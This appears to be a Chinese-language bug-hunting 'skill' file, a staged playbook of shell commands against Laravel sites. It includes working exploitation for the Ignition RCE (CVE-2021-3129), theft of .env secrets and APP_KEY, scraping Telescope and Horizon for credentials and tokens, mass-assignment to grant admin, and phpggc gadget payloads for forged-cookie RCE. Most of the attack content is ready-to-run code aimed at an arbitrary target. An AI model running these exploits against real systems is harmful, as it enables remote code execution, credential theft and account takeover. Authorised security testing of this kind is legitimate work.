hunt-laravel

HUNT-LARAVEL — Laravel 特定漏洞

皇冠明珠目标

生产环境启用了 Laravel 调试模式 = 可通过 Ignition 立即实现 RCE（CVE-2021-3129）。

最高价值发现：

• Ignition RCE（CVE-2021-3129） — APP_DEBUG=true 且 Laravel < 8.4.2 → 无需身份验证即可通过 /_ignition/execute-solution 实现 RCE
• Telescope 控制面板 — /telescope 会暴露完整的请求/响应日志、数据库查询、Redis 命令、计划任务、环境变量
• Horizon 控制面板 — /horizon 会暴露队列任务详情，以及包含完整有效负载的失败任务（可能包含 API 密钥、个人身份信息）
• 签名 URL 篡改 — 如果 URL::signedRoute 验证了错误的参数 → 绕过签名 URL → 执行未授权操作
• .env 暴露 — 泄露 APP_KEY → 解密所有加密 Cookie → 伪造会话 → ATO

---

阶段 1 — 识别 Laravel

# Laravel-specific indicators
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "laravel_session\|x-powered-by.*php"
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ | grep -i "laravel\|Illuminate\|csrf-token"

# Common Laravel paths
for path in /storage /public /resources "/vendor/laravel" "/.env" "/artisan"; do
  STATUS=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
  [ "$STATUS" != "404" ] && echo "$path: $STATUS"
done

# Check error page (trigger 404)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/definitely-does-not-exist-xyz" | grep -i "laravel\|Whoops\|Ignition\|symfony"

---

阶段 2 — 调试模式与 Ignition RCE（CVE-2021-3129）

# Step 1: Check if debug mode is enabled (Whoops error page)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/nonexistent" | grep -i "Whoops\|APP_DEBUG\|Ignition"

# If Whoops/Ignition is visible → debug mode ON → test CVE-2021-3129

# Step 2: Check Ignition endpoint
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_ignition/health-check" | head -5

# Step 3: CVE-2021-3129 — Laravel < 8.4.2 RCE via log file manipulation
# (Requires debug mode + writable storage/logs)
# Tool: ambionics/laravel-ignition-rce
git clone https://github.com/ambionics/laravel-ignition-rce /tmp/laravel-rce
php /tmp/laravel-rce/exploit.php https://$TARGET "id"

# Manual test — send solution request
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/_ignition/execute-solution" \
  -H "Content-Type: application/json" \
  -d '{
    "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
    "parameters": {
      "variableName": "x",
      "viewFile": "php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log"
    }
  }'

---

阶段 3 — Laravel Telescope 与 Horizon

# Telescope — request/response logs, DB queries, jobs, cache, events
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/telescope" | grep -i "telescope\|laravel"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/telescope/api/requests" | python3 -m json.tool 2>/dev/null | head -50
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/telescope/api/commands" | python3 -m json.tool 2>/dev/null | head -30
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/telescope/api/redis" | python3 -m json.tool 2>/dev/null | head -30
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/telescope/api/environment" | python3 -m json.tool 2>/dev/null | head -50

# Horizon — queue worker dashboard
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/horizon" | grep -i "horizon\|laravel"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/horizon/api/stats" | python3 -m json.tool 2>/dev/null
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/horizon/api/jobs/failed" | python3 -m json.tool 2>/dev/null | head -50
# Failed job payloads often contain full request data including auth tokens

# Common paths
for path in /telescope /telescope/requests /telescope/api /horizon /horizon/api/stats; do
  STATUS=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
  [ "$STATUS" = "200" ] && echo "[+] ACCESSIBLE: $TARGET$path"
done

---

阶段 4 — .env 文件与 APP_KEY 暴露

# Direct .env access
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/.env" | grep -i "APP_KEY\|DB_PASSWORD\|SECRET\|KEY"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/.env.production"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/.env.backup"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/.env.local"

# If APP_KEY found:
APP_KEY="base64:XXXXXXX"
echo "APP_KEY=$APP_KEY"
# → Can decrypt all Laravel encrypted cookies
# → Can forge session cookies → ATO for any user

# Also check
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/storage/logs/laravel.log" | tail -100 | grep -i "exception\|error\|key\|password"

---

阶段 5 — 签名 URL 篡改

# Laravel signed URLs contain signature param: ?signature=HASH
# Find signed URL endpoints
cat recon/$TARGET/urls.txt | grep "signature="

# Test: modify a non-signature parameter — should fail validation
SIGNED_URL="https://$TARGET/unsubscribe?user=123&[email protected]&signature=VALID_SIG"

# Modify user ID → should fail if properly signed
curl --max-time 30 --connect-timeout 10 -s "${SIGNED_URL/user=123/user=999}"

# Test signature bypass: remove signature entirely
curl --max-time 30 --connect-timeout 10 -s "${SIGNED_URL/&signature=VALID_SIG/}"

# Test: does the app validate ALL parameters or just some?
curl --max-time 30 --connect-timeout 10 -s "${SIGNED_URL}&extra=malicious"

---

阶段 6 — 通过 Eloquent 批量赋值

# Laravel Eloquent ORM — if model uses $guarded=[] or $fillable=[] improperly
# Test: add extra fields to update/create requests

# Profile update
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/profile" \
  -H "Cookie: laravel_session=SESSION" \
  -H "Content-Type: application/json" \
  -d '{"name": "Test", "email": "[email protected]", "is_admin": true, "role": "admin"}'

# Registration
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/register" \
  -H "Content-Type: application/json" \
  -d '{"name": "Test", "email": "test@[DOMAIN_EXAMPLE]", "password": "test123", "verified": true, "admin": 1}'

---

阶段 7 — Laravel Cookie 反序列化

# If APP_KEY is known, forge a session cookie with malicious serialized payload
# Uses phpggc gadget chains

# Get the app key
APP_KEY=$(curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/.env" | grep "^APP_KEY=" | cut -d= -f2)

# Generate payload with phpggc
php phpggc Laravel/RCE5 system 'id' | base64

# Sign the cookie with the app key using laravel-cookie-forge script
# python3 laravel_cookie_forge.py --key "$APP_KEY" --payload "PHPGGC_PAYLOAD"

---

漏洞链表

Laravel 发现	链接到	影响
调试模式已开启	CVE-2021-3129 Ignition RCE	严重 RCE
Telescope 可访问	读取 API 密钥、数据库查询、环境变量	高危 - 凭据盗窃
Horizon 可访问	读取失败任务的有效负载	高危 - 个人身份信息/令牌外泄
.env 暴露且包含 APP_KEY	伪造会话 Cookie → ATO	严重 ATO
签名 URL 绕过	执行未授权操作（取消订阅任意用户等）	中高危
批量赋值	设置 is_admin=true → 权限提升	严重

---

验证

✅ Ignition RCE：响应中返回了 id 命令输出
✅ Telescope：API 响应中包含带凭据或用户令牌的数据库查询
✅ APP_KEY：伪造的会话 Cookie 被接受，并返回另一位用户的个人资料
✅ 批量赋值：接受 is_admin: true，账户现已拥有管理员权限

严重程度：

• Ignition RCE：严重
• Telescope/Horizon 含有敏感数据：高危
• .env 含有 APP_KEY：严重
• 通过批量赋值获得管理员权限：严重

---

验证

运行此自测，以确认 Laravel 漏洞狩猎准备就绪：

1. 技能完整性 — 确认技能文件可读且格式正确：

   grep -q "name: hunt-laravel" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
   grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
   

2. 类别检查 — 确认技能具有类别：

   grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
   

3. 陷阱部分 — 确认已记录陷阱：

   grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
   

全部 3 项测试均可验证技能结构正确且已准备就绪。

---

陷阱

• 暴露 APP_KEY 但未利用 — 知道 APP_KEY 即可解密和签署 Cookie。请演示伪造的会话 Cookie 或解密后的数据。
• 调试模式未输出敏感信息 — APP_DEBUG=true 仅显示堆栈跟踪属于低危。需要调试输出中包含凭据或机密。
• .env 暴露但不含数据库凭据 — 暴露的 .env 仅包含 APP_NAME=... 属于信息性问题。需要数据库凭据、API 密钥或机密。
• Telescope/Horizon 无需身份验证即可访问 — 这些工具会暴露队列/缓存/请求数据。请演示通过这些工具访问敏感数据。